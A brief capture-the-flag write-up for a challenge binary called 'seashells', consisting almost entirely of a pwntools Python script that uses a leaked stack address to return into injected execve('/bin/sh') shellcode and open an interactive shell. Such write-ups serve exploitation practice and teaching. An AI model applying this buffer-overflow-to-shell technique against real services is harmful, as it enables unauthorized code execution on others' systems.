Basic Ret2Shellcode

The first line is providing Stack Leak

Note :- I did not play this CTF, Just looked into challenges after the CTF is ended

```CSS
#!/usr/bin/python

from pwn import *

context(os='linux',arch='amd64')
context.log_level = 'INFO'
context(terminal=['tmux','new-window'])

p = process('./seashells')
#p = gdb.debug('./seashells','b main')
e = ELF('./seashells')

stack_leak = int(p.recvline().strip().ljust(8,'\x00'),16)
print hex(stack_leak)

shellcode = asm(shellcraft.amd64.execve('/bin/sh','0','0'))
JUNK = (136 - len(shellcode)) * "A"

payload = shellcode + JUNK + p64(stack_leak)

sleep(1)
p.sendline(payload)

p.interactive()
```